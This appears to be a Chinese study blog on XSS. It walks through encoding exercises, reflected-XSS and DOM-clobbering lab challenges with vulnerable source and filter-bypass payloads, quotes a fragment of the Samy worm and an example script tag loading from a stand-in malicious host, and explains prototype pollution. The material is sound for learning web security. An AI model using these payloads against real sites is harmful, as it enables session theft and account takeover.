由于本人對一小部分dom型xss、原型鏈污染和存儲型xss理解不夠透徹,因此在本篇文章中原型鏈污染和存儲型xss偏重進行概念理解或簡單的代碼理解,隨后會慢慢補充
文章目錄
- 1 XSS概述
- 1.1 什么是XSS?
- 1.2 XSS主要分三種類型
- 2 XSS基礎
- 2.1 XSS基礎練習
- 2.1.1 編碼問題
- 2.1.2 原因
- 2.2 JS基礎練習
- 2.2.1 JS相關問題
- 2.2.2 原因
- 3 反射型XSS(Reflected XSS)
- 3.1 理解反射型XSS
- 3.1.1 反射型XSS具有以下特點
- 3.1.2 圖解
- 3.2 實戰演練
- level 1
- level 3
- level 5
- level 8
- 3.3 總結
- 4 DOM型XSS(Document Object Model Cross-Site Scripting)
- 5 存儲型XSS(Persistent XSS)
- 5.1 什么是存儲型XSS
- 5.1.2 存儲型XSS的特點
- 5.1.3 圖解
- 5.2 案例展示
- 5.2.1 案例一
- 5.2.2 案例二
- 5.3 總結
- 6 原型鏈污染(Prototype Pollution)
- 6.1 什么是原型鏈污染?
- 6.1.1 核心原理
- 6.2 理解`prototype`、`__proto__`和`constructor`
- 6.2.1 `prototype` 屬性
- 6.2.2 `__proto__ `屬性
- 6.2.3 `constructor` 屬性
- 6.2.2 總結
- 6.3 簡單代碼理解
- 7 XSS相關總結
1 XSS概述
1.1 什么是XSS?
XSS(跨站腳本攻擊,Cross-Site Scripting) 是一種常見的網絡安全漏洞,攻擊者通過向網頁中注入惡意腳本,當其他用戶訪問該頁面時,腳本會在其瀏覽器中執行,從而實施攻擊。
我用3句話理解XSS
- 目標:攻擊者試圖在可信的網站上注入惡意代碼(通常是 JavaScript)。
- 手段:利用網站對用戶輸入的不當處理(未過濾/轉義)。
- 觸發:當其他用戶瀏覽被感染的頁面時,惡意腳本自動執行。
1.2 XSS主要分三種類型
- 反射型XSS:頁面能解析js代碼的功能被稱為XSS的反射型漏洞。沒有對用戶的輸入做出特定的過濾,導致用戶輸入的惡意js代碼輸出到頁面上被頁面解析
- DOM型XSS:惡意腳本由瀏覽器前端 JS 對污染源的不安全處理并執行,全程不經過服務器,惡意代碼直接在受害者瀏覽器中觸發,攻擊鏈條完全在瀏覽器內閉環,傳統服務端防御手段失效。
- 存儲型XSS:攻擊者將惡意腳本提交到服務器數據庫中(如評論區、用戶資料),當用戶訪問被感染的頁面時自動執行,竊取Cookie/會話等數據,腳本永久存儲在服務器數據庫,無需用戶交互,只要訪問立馬執行。
這三個XSS類型各有特點,在這篇文章我將以我的理解對這三種xss進行理解或展示。
此外原型鏈污染 雖然不屬于 XSS,它是獨立的 JS 原型篡改漏洞,但可導致 XSS,當污染對象涉及 DOM 操作屬性時,會引發 XSS。
2 XSS基礎
在XSS中我們首先需要知道頁面的解析先后順序:
html實體編碼---->urlencode編碼---->js unicode編碼
2.1 XSS基礎練習
2.1.1 編碼問題
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
<a href="javascript:%61%6c%65%72%74%28%32%29">aaaaaa</a>
<a href="javascript%3aalert(3)">aaaaa</a>
<div><img src=x onerror=alert(4)></div>
<textarea><script>alert(5)</script></textarea>
<textarea><script>alert(6)</script></textarea>
2.1.2 原因
第一個
瀏覽器 嘗試解碼這些URL編碼,但解碼發生在錯誤的時間點(在協議識別之后)結果瀏覽器無法識別javascript:協議,因此放棄執行解碼。技術上瀏覽器解碼了,但解碼結果未被使用(因為協議未識別)。
第二個
瀏覽器直接解碼HTML實體編碼,在瀏覽器識別協議之前已經成功解碼,并且瀏覽器在解碼之后成功識別javascript
協議,因此可以正確點擊鏈接執行彈窗。
第三個
原因與第一個相似,javascript:
是一個整體,該鏈接將:
進行編碼因此瀏覽器無法在解析之前識別協議,不能正常點擊鏈接跳出彈窗。
第四個
瀏覽器可以正常解析<
和>
為<
與>
,但HTML解析標簽以tag open state(<
)開始tag name state(>
)結束,因此瀏覽器雖然將編碼解析成功,但不會轉為tag open state(標簽開始狀態)只會將<div>
標簽里的內容以data(數據)形式顯示出來因此無法建立img標簽也無法正常顯示彈窗。
第五個
正確解碼,為RCDATA元素,可以容納文本和字符引用。一旦有字符引用可能無法進入標簽開始狀態
第六個
無需解碼,為RCDATA元素,可以容納文本和字符引用。一旦有字符引用可能無法進入標簽開始狀態
\ | 第一個 | 第二個 | 第三個 | 第四個 | 第五個 | 第六個 |
---|---|---|---|---|---|---|
是否嘗試解碼 | ? 是 | ? 是 | ? 是 | ? 是 | ? 是 | ?無需解碼 |
解碼時機 | 太晚(協議識別后) | 正確(分階段) | 太晚(協議識別后) | 正確(分階段) | 正常解碼 | ---- |
解碼結果是否有效 | ? 否 | ? 是 | ? 否 | ? 是 | ? 是 | ---- |
根本原因 | 協議部分被編碼導致瀏覽器放棄 | 協議部分通過HTML實體先解碼 | 協議部分被編碼導致瀏覽器放棄 | 內容以div標簽里的數據形式解析出來,但不能識別為一個img標簽 | 雖然解析成功但無法進入標簽狀態 | ---- |
2.2 JS基礎練習
2.2.1 JS相關問題
<button onclick="confirm('7');">Button</button>
<button onclick="confirm('8\u0027);">Button</button>
<script>alert(9);</script>
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
<script>alert('14
')</script>
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
2.2.2 原因
第一、二個:js嚴格區分大小寫,不能對符號編碼,因此前兩個button無法觸發
第三個:將alert(9);
轉為html編碼但<script>
為原始文本元素,只能容納文本,無法容納字符,因此無法辨別內容為alert(9);
的html編碼因此無法解析。
第四個:正確彈窗
第五個:同第一、二個原因
第六個:js語法問題,js的解析器默認將12理解為字符串,字符串需要單引號包裹起來,沒有單引號不能識別出12
第七個:換行符不影響解析,正常彈窗
第八個:使用了所有的解碼:首先解析html實體解碼,urlencode解碼發現javascript
已出現,并將其識別,進入js環境下,js支持unicode解碼,因此可以正常解析,正常彈窗。
3 反射型XSS(Reflected XSS)
又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接( 即每次攻擊需要用戶的點擊)。
3.1 理解反射型XSS
沒有對用戶的輸入做出特定的過濾,導致用戶輸入的惡意js代碼輸出到頁面上被頁面解析
3.1.1 反射型XSS具有以下特點
- 腳本不存儲在服務器,僅通過 URL 參數傳遞。
- 需要誘導用戶主動點擊惡意鏈接(如釣魚郵件)。
- 常見于搜索框、錯誤提示頁等動態返回內容的功能。
3.1.2 圖解
使用符合js的規范都可以執行使用js標簽包裹或者使用html標簽:
例如:
<script>alert(1)</script>
--------------------------------------------------------
<img src=1 onerror=alert(1)>
--------------------------------------------------------
<a href="javascript:alert(1)">aaaa</a> //使用javascript偽協議。需要用戶參與
--------------------------------------------------------
<svg/onload=alert(1)>等等
--------------------------------------------------------
巧用“//“注解,使用注解可以將后續的代碼注釋掉
有些過濾器會相應的過濾掉某些標簽元素,因此我們還需要掌握三中html能識別的編碼,靈活使用編碼代替原標簽進行反射xss(以下為相關概念,了解一下):
- urlcode編碼:URL編碼(URLEncoder)和解碼(URLDecoder)是處理URL中包含的特殊字符和中文的常用方法。URL編碼的目的是將字符串轉換成有效的URL格式,而URL解碼則是將這些特殊的URL格式還原回原始字符串。
- html實體編碼:一段以連字號(&)開頭、以分號(;)結尾的字符串,用以顯示不可見字符及保留字符
- js unicode編碼:將全世界所有的字符包含在一個集合里,計算機只要支持這一個字符集,就能顯示所有的字符
使用常用的轉碼工具將所需轉碼的內容轉為對應編碼的內容即可:
https://www.toolhelper.cn/
https://tool.oschina.net/encode
3.2 實戰演練
選擇部分代碼進行反射型XSS的實戰演練
level 1
源碼:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");window.location.href="level2.php?keyword=test";
}
</script>
<title>歡迎來到level1</title>
</head>
<body>
<h1 align=center>歡迎來到level1</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>
解題:
在此題中發現注入內容會注入到h2標簽內如需要彈窗只要讓其觸發alert即可
在網址后輸入:即可
level 3
源碼:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");window.location.href="level4.php?keyword=try harder!";
}
</script>
<title>歡迎來到level3</title>
</head>
<body>
<h1 align=center>歡迎來到level3</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";
?>
</body>
</html>
解題:
在源碼中發現
htmlspecialchars
過濾函數會過濾雙引號但是該函數在源碼中并未設置ENT_QUOTES
因此并不會過濾單引號。
該源碼中單引號包含了雙引號,需要將單引號閉合
在input
輸入框輸入a' onclick='alert(1)
完成題解
level 5
源碼:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>歡迎來到level5</title>
</head>
<body>
<h1 align=center>歡迎來到level5</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>";
?>
</body>
</html>
解題:
在源碼中,發現題目進行了簡單替換:將<script
替換為<scr_ipt
,on
替換為o_n
因此所有的on事件被過濾,<script>
標簽被過濾
但發現<>并沒有被過濾,因此我們需要將源碼進行閉合即可
在input
輸入框內輸入a"><a href="javascript:alert(1)">aaaaaaaaaaaa</a>"
即可題解
點擊鏈接完成挑戰
level 8
源碼:
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯!");window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>歡迎來到level8</title>
</head>
<body>
<h1 align=center>歡迎來到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?phpecho '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
</body>
</html>
解題:
使用編碼轉換輸入即可
javascript:alert(1)
點擊友情鏈接,成功題解
3.3 總結
1.反射型xss的存在位置可能在搜索欄、input表單
2.可能會存在過濾,可以通過編碼,大寫等方式嘗試繞過
3.javascript偽協議也可以觸發xss
4 DOM型XSS(Document Object Model Cross-Site Scripting)
控制js產生的xss稱為dom型xss
4.1 理解DOM型XSS
一句話總結:DOM 型 XSS = 前端 JavaScript 代碼 + 不安全的 DOM 操作 + 客戶端污染源(URL/Storage)
4.1.1 DOM型XSS的特點
- 全程在瀏覽器端發生:
- 惡意代碼的注入、解析、執行均在用戶瀏覽器中完成,不經過服務器處理。
- 繞過服務器防護:
- 攻擊載荷常隱藏在 URL 片段(#后)、window.name 或 前端存儲(LocalStorage) 中,不會被發送到服務器。
- ? 傳統 WAF(Web 應用防火墻)無法檢測此類攻擊。
- 觸發依賴危險 DOM API
- 漏洞源于開發者使用不安全的 DOM 操作方法:
- 非持久性(通常)
- 攻擊需誘導用戶訪問特定惡意鏈接,腳本不會存儲在服務器或客戶端數據庫中。
- 🔁 但可通過社工手段(如釣魚郵件)大規模傳播。
- 隱蔽性高
- 由于不經過服務器,瀏覽器開發者工具是主要檢測手段(Network 面板無異常請求)。
4.1.2 圖解
4.2 DOM基礎
4.2.1 實戰演練
dom相關的部分基礎xss練習
level 1
源碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><h2 id="spaghet"></h2>
</body>
<script>spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
</html>
解題:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
js安全策略:在H5中指定不執行使用element.innerHTML插入的<script>
標簽,因此不能使用<script>
標簽
源碼分析可得url地址欄里獲取了get傳參,而傳參的key是somebody,如果沒有給somebody傳參則默認使用Somebody代替并通過innerHTML寫入id為spaghet的<h2>
標簽中。除了<script>
標簽以外能觸發彈窗的任何標簽都可以
給somebody傳參輸入<img src=1 onerror=alert(1337)>
完成題解
level 2
源碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><h2 id="maname"></h2>
</body>
<script>let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")let ma = ""eval(`ma = "Ma name ${jeff}"`)setTimeout(_ => {maname.innerText = ma}, 1000)
</script>
</html>
解題:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
eval為執行函數,可以直接執行內容。
由于該參數有雙引號,因此我們需要閉合雙引號。
可以使用//注釋將后面的雙引號進行閉合
給jeff
傳參wowo";alert(1337)//
即可完成題解
level 3
源碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body><div id="uganda"></div>
</body>
<script>let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");wey = wey.replace(/[<>]/g, '')uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
</html>
解題:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
源碼過濾了<>
由于用戶不能參與交互因此我們不能直接設置點擊事件
由于<input>
有核心屬性onfocus
與autofocus
自動聚焦,可以實現題目中禁止用戶交互的要求
因此wo" autofocus onfocus="alert(1337)"
即可完成題解
level 4
源碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title></head>
<body>
<form id="ricardo" method="GET"><input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
</body>
<script>ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')setTimeout(_ => {ricardo.submit()}, 2000)
</script>
</html>
解題:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
form
表單中的action
屬性將form
表單中的數據傳輸到action
屬性指定的地址,如將數據傳輸到1.php
只需要在action
屬性中填入即可,源碼中action
屬性未傳值的時候提交到#
(表示傳到當前頁面)。
setTimeout
將在2秒延遲后自動提交
將ricardo
傳入javascript:alert(1337)
偽協議即可完成題解
4.2.2 演練核心標簽總結
innerHTML:禁止觸發`<script>`標簽
input標簽有特殊屬性onfocus(聚焦)與autofocus(自動聚焦)結合使用
form表單屬性:action,method,enctype
- action- 指定后端action目標地址接收并處理表單數據(action可以出發javascript偽協議)
- method- post:將數據封裝在HTTP請求體中發送,對數據內容加密處理,適合提交敏感信息或大量數據(如文件上傳)。??- get:將表單數據附加到action指定的URL后,適合非敏感且數據量較小的查詢操作(如搜索、篩選)。??
- enctype- 提交賬號密碼等文字需要發送的數據編碼為 "名稱/鍵值" 的形式使用默認屬性application/x-www-form-urlencoded- 上傳文件、mp3、圖片等使用multipart/form-data- 提交純文本使用text/plain
4.3 DOM破壞(DOM Clobbering)
DOM 破壞是一種利用 HTML 元素覆蓋 JavaScript 全局變量或對象屬性的攻擊技術,目的是篡改頁面邏輯或繞過安全機制。
通過注入特定 HTML 標簽(如 <form>
、<img>
、<a>
),覆蓋頁面中的 JavaScript 變量或 DOM 對象屬性,從而破壞前端邏輯或繞過安全檢測。
4.3.1 核心機制
HTML 元素的命名覆蓋
- 當 HTML 標簽設置了 id 或 name 屬性時,瀏覽器會自動將其暴露為全局變量(或嵌套在 document 對象下)。
- 攻擊者注入惡意標簽,覆蓋已有變量或屬性。
4.3.2 特點
- 隱蔽性強:不觸發腳本執行,僅改變對象狀態。
- 誤判為“無害”:傳統安全掃描工具難以檢測邏輯覆蓋。
- 現代框架的盲區:React/Vue 等框架雖減少直接 DOM 操作,但若與原生 JS 混用仍可能中招。
核心記憶點:任何未受保護的 HTML 的 id/name 屬性都可能成為攻擊入口!
4.3.3 實戰演練
dom破壞的相關練習
4.3.3.1 相關知識
<body><img id="x"><img name="y">
</body>
<script>console.log(x)console.log(y)console.log(document.x)console.log(document.y)console.log(window.x)console.log(window.y)
</script>
前端特性:結果可知只有
document.x
不適配id其他都適配
<body><img id="x"><img name="y">
</body>
<script>let div = document.createElement('div')//創建div標簽div.innerHTML = '<img name="cookie">'//標簽內容為<img name="cookie">document.body.appendChild(div)//div標簽添加到body中console.log(document.cookie)//請求document.cookie
</script>
運行發現:
發現設創建的<div>
標簽中的內容img
把獲取系統頁面的cookie
系統函數覆蓋掉了
!!這樣的操作危害是非常大的,用戶的權限太大以至于可以隨意更改系統函數!!
<body><form name="body"><img id="appendChild"></form>
</body>
<script>console.log(body.appendChild)
</script>
發現本次二次覆蓋取出的并不是系統自帶的函數,而是img
標簽
document覆蓋最多覆蓋三層
document.x
document.x.y
document.x.y.z
在控制臺輸入Object.prototype.toString.call(document.body.appendChild)
我們拿到的是[object HTMLImageElement]
html下的img元素是一個object
對象,但是不好操作,所以需要toString
轉為可控的字符串類型
Object.getOwnPropertyNames(window)//獲取window所有屬性的名稱
.filter(p => p.match(/Element$/))//過濾含有Element為結尾元素的標簽
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)//過濾本身有的原型鏈的方法而不是祖先自帶的方法
取出為下圖顯示:
4.3.3.2練習
源碼:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body>
<h2 id="boomer">Ok, Boomer.</h2>
</body>
<script>boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")setTimeout(ok, 2000)
</script>
</html>
解題:
要求:
Difficulty is Easy.
Pop an alert(1337) on sandbox.pwnfunction.com.
No user interaction.
Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
Tested on Chrome.
分析:
引入過濾框架DOMPurify
boomer沒有傳參默認執行顯示Ok,Boomer.
setTimeout
兩秒之后執行一次
setTimeout
中的ok
是否是一個函數,如果是,就會自動調用ok
的toString
方法
需要分析這幾個問題:
- 1.ok從何而來?
dom破壞中來,定義一個id
為ok
的a
標簽<a id=ok href='aaaaa'>
dom 11 12- 2.惡意payload觸發ok里的惡意代碼
a
標簽里的href
屬性為javascript:alert(1337)
- 3."繞過"框架(白名單)
白名單有:
- 4.ok引入
輸入boomer=<a id=ok href="sms:alert(1337)">
完成題解
源碼:
<script>const data = decodeURIComponent(location.hash.substr(1));;const root = document.createElement('div');root.innerHTML = data;// 這里模擬了XSS過濾的過程,方法是移除所有屬性,sanitizerfor (let el of root.querySelectorAll('*')) {let attrs = [];for (let attr of el.attributes) {attrs.push(attr.name);}for (let name of attrs) {el.removeAttribute(name);}} document.body.appendChild(root);
</script>
解題:
解析:
1.在觸發程序之前進行觸發
2.生成一個無關的節點,而避免我們的payload被刪除+
1.輸入<svg><svg/onload=alert(1)>
觸發彈窗,完成題解
2.使用所有標簽遍歷
<script>var log = [];var html =["a", "abbr", "acronym", "address", "applet", "area", "article", "aside", "audio", "b", "base", "basefont", "bdi", "bdo","bgsound", "big", "blink", "blockquote", "body", "br", "button", "canvas", "caption", "center", "cite", "code", "col","colgroup", "command", "content", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "dir", "div", "dl", "dt","element", "em", "embed", "fieldset", "figcaption", "figure", "font", "footer", "form", "frame", "frameset", "h1", "head","header", "hgroup", "hr", "html", "i", "iframe", "image", "img", "input", "ins", "isindex", "kbd", "keygen", "label","legend", "li", "link", "listing", "main", "map", "mark", "marquee", "menu", "menuitem", "meta", "meter", "multicol","nav", "nextid", "nobr", "noembed", "noframes", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param","picture", "plaintext", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select","shadow", "slot", "small", "source", "spacer", "span", "strike", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "tt", "u", "ul", "var","video", "wbr", "xmp"],logs = [];div = document.createElement('div'); for (var i = 0; i < html.length; i++) {for (var j = 0; j < html.length; j++) {div.innerHTML = '<' + html[i] + ' id=element1>' + '<' + html[j] + ' id=element2>'; document.body.appendChild(div);if (window.element1 && element1.element2) {log.push(html[i] + ',' + html[j]);}document.body.removeChild(div);}}console.log(log.join('\n'));
</script>
得到可以進行兩個id嵌套的組合:
form,button
form,fieldset
form,image
form,img
form,input
form,object
form,output
form,select
form,textarea
例如使用form與output進行組合:
<body><form id="x"><output id="y">I've been clobbered</output>
</form>
</body>
<script>
console.log(x.y)//在y后面添加value會把<output>標簽里的I've been clobbered顯示出來
</script>
控制臺顯示:
5 存儲型XSS(Persistent XSS)
最危險的跨站腳本攻擊類型。
5.1 什么是存儲型XSS
存儲型XSS(跨站腳本攻擊)是一種惡意腳本被永久存儲在目標服務器上的攻擊類型,當用戶訪問受感染頁面時自動執行。
5.1.2 存儲型XSS的特點
- 持久性:惡意腳本存儲在服務器上(數據庫、文件系統等)
- 自動傳播:用戶只需訪問頁面就會觸發攻擊
- 影響范圍廣:所有訪問該頁面的用戶都會受到影響
- 危害嚴重:可竊取用戶憑據、會話信息,傳播惡意軟件等
5.1.3 圖解
5.2 案例展示
5.2.1 案例一
MySpace Samy蠕蟲(2005)
- 攻擊方式:用戶資料中注入惡意腳本
- 傳播速度:20小時內感染100萬用戶
onload="var B=String.fromCharCode(34);
var A=String.fromCharCode(39);
function g(){var C;
try{var D=document.body.createTextRange();C=D.htmlText}
catch(e){}if(C){return C}else{return''}}
function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}
function getQueryParams(){var E=document.location.search;
var F=E.substring(1,E.length).split('&');
var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');
AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();
var L=AS['Mytoken'];var M=AS['friendID'];
if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}
else{if(!M){M=g()}if(M){
// 核心攻擊代碼
影響:強制添加攻擊者為好友,成為首個大規模XSS蠕蟲
5.2.2 案例二
eBay存儲型XSS(2015)
- 攻擊方式:商品描述中注入惡意腳本
- 攻擊載荷:
<script src="http://malicious-site.com/xss.js"></script>
- 影響:竊取買家支付信息,持續數月未被發現
- 根本原因:未對商品描述進行輸出編碼
5.3 總結
持續時間長,惡意腳本長期存儲在服務器(數據庫/文件系統)只要被感染頁面被訪問,攻擊就會觸發。自動傳播,用戶無需任何交互(如點擊鏈接)。訪問即中招。影響范圍廣,所有訪問該頁面的用戶都會受影響,可造成大規模數據泄露。隱蔽性強,可能潛伏數月才被發現,難以追溯攻擊源頭
6 原型鏈污染(Prototype Pollution)
6.1 什么是原型鏈污染?
是一種針對 JavaScript 運行時的攻擊技術,攻擊者通過篡改對象的原型(prototype
)注入惡意屬性,導致所有繼承該原型的對象被污染,從而引發安全漏洞。
6.1.1 核心原理
- JavaScript 的原型鏈機制
每個 JavaScript 對象都有隱藏屬性__proto__
(或通過Object.getPrototypeOf()
訪問),指向其原型對象。
當訪問對象屬性時,若對象自身不存在該屬性,JS 會沿原型鏈向上查找。 - 污染入口點
攻擊者利用未安全處理的對象合并/復制操作注入__proto__
屬性。
關鍵結論
原型鏈污染屬于 JavaScript
運行時污染,可導致拒絕服務、權限繞過、數據泄露等,不限于 XSS。可成為 XSS 的“催化劑”。若污染了 innerHTML
、outerHTML
、document.write
等 DOM 操作屬性,則間接引發存儲型/DOM 型 XSS。
6.2 理解prototype
、__proto__
和constructor
6.2.1 prototype
屬性
- 只有函數才擁有
prototype
屬性 - 它是函數的原型對象,包含該類型所有實例共享的屬性和方法
- 當使用
new
關鍵字創建實例時,新對象會繼承其構造函數的prototype
6.2.2 __proto__
屬性
- 每個對象(包括函數對象)都有
__proto__
屬性 - 它指向創建該對象的構造函數的
prototype
- 這是原型鏈查找的實際路徑(現代代碼中建議使用
Object.getPrototypeOf())
6.2.3 constructor
屬性
- 每個
prototype
對象都有一個constructor
屬性 - 它指向該原型對象所屬的構造函數
- 關系:
Person.prototype.constructor
===Person
6.2.2 總結
原型鏈關系總結
- 實例對象(如 alice):
-
通過
__proto__
指向其構造函數的prototype
-
即:
alice.__proto__
===Person.prototype
- 構造函數(如
Person
):
-
擁有
prototype
屬性,指向原型對象 -
自身也有
__proto__
,指向Function.prototype
- 原型對象(如
Person.prototype
):
-
包含
constructor
屬性指回構造函數 -
通過
__proto__
指向Object.prototype
- 原型鏈終點:
-
Object.prototype.__proto__
===null
-
所有原型鏈最終都指向
null
我感覺我理解的不是很透徹可以看這篇文章更加深入理解:
幫你徹底搞懂JS中的prototype、__proto__與constructor(圖解)
6.3 簡單代碼理解
源碼
//foo是一個簡單的JavaScript對象
let foo = {bar: 1}//foo.bar此時為1
console.log(foo.bar)
//foo對象 __proto__ = Object.prototype.bar = 2
//修改foo.bar的原型(即object)為2
foo.__proto__.bar = 2//由于查找順序的原因,foo.bar仍然為1
console.log(foo.bar)//此時再用Object創建一個空的zoo對象 zoo bar
let zoo = {}//查看zoo.bar,此時為2
console.log(zoo.bar)
運行顯示
7 XSS相關總結
特性 | 反射型XSS | DOM型XSS | 存儲型XSS | 原型鏈污染 |
---|---|---|---|---|
存儲位置 | URL參數 | URL片段/客戶端存儲 | 服務器數據庫 | JavaScript原型 |
持久性 | 非持久 | 通常非持久 | 持久 | 運行時持久 |
觸發方式 | 點擊惡意鏈接 | 訪問特定URL | 訪問受感染頁面 | 執行污染代碼 |
影響范圍 | 點擊者 | 當前用戶 | 所有訪問者 | 整個應用 |